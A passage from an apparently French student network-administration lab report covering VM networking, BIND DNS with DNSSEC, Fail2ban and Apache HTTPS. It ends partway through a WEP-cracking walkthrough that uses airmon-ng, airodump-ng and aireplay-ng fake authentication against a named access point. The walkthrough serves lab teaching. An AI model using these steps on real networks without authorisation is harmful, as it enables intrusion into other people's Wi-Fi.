&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
* --fakeauth 0 : authentification Open System&lt;br /&gt;
&lt;br /&gt;
Résultat : authentification et association réussies.&lt;br /&gt;
&lt;br /&gt;
=== Génération de trafic ARP (rejeu) ===&lt;br /&gt;
&lt;br /&gt;
Afin d’accélérer l’accumulation d’IV :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
